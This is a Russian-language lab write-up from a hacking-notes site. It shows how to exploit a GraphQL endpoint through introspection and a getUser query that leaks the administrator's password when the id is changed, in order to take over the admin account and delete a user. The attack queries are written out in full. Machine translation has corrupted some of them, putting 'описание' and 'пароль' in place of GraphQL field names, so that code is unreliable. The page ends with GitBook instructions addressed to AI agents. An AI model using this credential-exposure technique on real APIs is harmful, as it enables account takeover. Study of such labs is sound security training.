> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/graphql/accidental-exposure-of-private-graphql-fields.md).

# Случайное раскрытие приватных полей GraphQL

### Случайное раскрытие приватных полей GraphQL

#### Контекст лабораторной работы

Функции управления пользователями основаны на **GraphQL** конечной точке. Лаборатория содержит слабый контроль доступа: можно **заставить API раскрыть чувствительные поля** (учётные данные / пароли). / Цель: **Войти как администратор** а затем **Удалить пользователя `carlos`**.

#### Наблюдаемый GraphQL-запрос

Типичный запрос на стороне клиента:

```graphql
{
  "query": "/n    query getBlogPost($id: Int!) {/n        getBlogPost(id: $id) {/n            image/n            title/n            author/n            date/n            paragraphs/n        }/n    }",
  "operationName": "getBlogPost",
  "variables": {
    "id": 1
  }
}
```

<figure><img src="/files/dcaad8aaebdf39a9aa25e7fec63264be58351826" alt=""><figcaption></figcaption></figure>

#### Интроспекция GraphQL

Интроспекция доступна через **IntrospectionQuery** (полная схема: типы, запросы, мутации и т. д.). / Отправленный запрос:

```graphql
query IntrospectionQuery {
    __schema {
        queryType {
            name
        }
        mutationType {
            name
        }
        subscriptionType {
            name
        }
        types {
            ...FullType
        }
        directives {
            name
            описание
            locations
            args {
                ...InputValue
            }
        }
    }
}

fragment FullType on __Type {
    kind
    name
    описание
    fields(includeDeprecated: true) {
        name
        описание
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        isDeprecated
        deprecationReason
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        name
        описание
        isDeprecated
        deprecationReason
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    name
    описание
    type {
        ...TypeRef
    }
    defaultValue
}

fragment TypeRef on __Type {
    kind
    name
    ofType {
        kind
        name
        ofType {
            kind
            name
            ofType {
                kind
                name
            }
        }
    }
}
```

Сервер отвечает **200 OK**, что подтверждает, что интроспекция включена.

<figure><img src="/files/ec556273869c4d95b58e3796d556b9684a9c8e9e" alt=""><figcaption></figcaption></figure>

#### Анализ запросов в карте сайта

Отправляя запросы к **Target → Карта сайта**, появляется несколько запросов (около 5).

<figure><img src="/files/fce8c82347308e09a7adc452f6a053c90380cbf0" alt=""><figcaption></figcaption></figure>

Один запрос выделяется: **`getUser`**.

<figure><img src="/files/317b1420ca410debbb477bda3bed299716662446" alt=""><figcaption></figcaption></figure>

#### Раскрытие приватных полей через `getUser`

Обнаружен запрос:

```graphql
{
  "query": "query($id: Int!) {/n  getUser(id: $id) {/n    id/n    username/n    password/n  }/n}",
  "variables": {
    "id": 0
  }
```

<figure><img src="/files/91cb805cd3a2db1062e3c170e4830c40be61b11b" alt=""><figcaption></figcaption></figure>

Этот запрос показывает поле **`пароль`**.

Эквивалентная версия GraphQL:

```graphql
query($id: Int!) {
  getUser(id: $id) {
    id
    username
    пароль
  }
}
```

Заменив **`id: 0`** на **`id: 1`**, API возвращает **username** и **пароль** из `administrator`:

```json
{
  "id": 1
}
```

<figure><img src="/files/1558789a68e9c76575e9231386d4ae81866927dd" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/graphql/accidental-exposure-of-private-graphql-fields.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
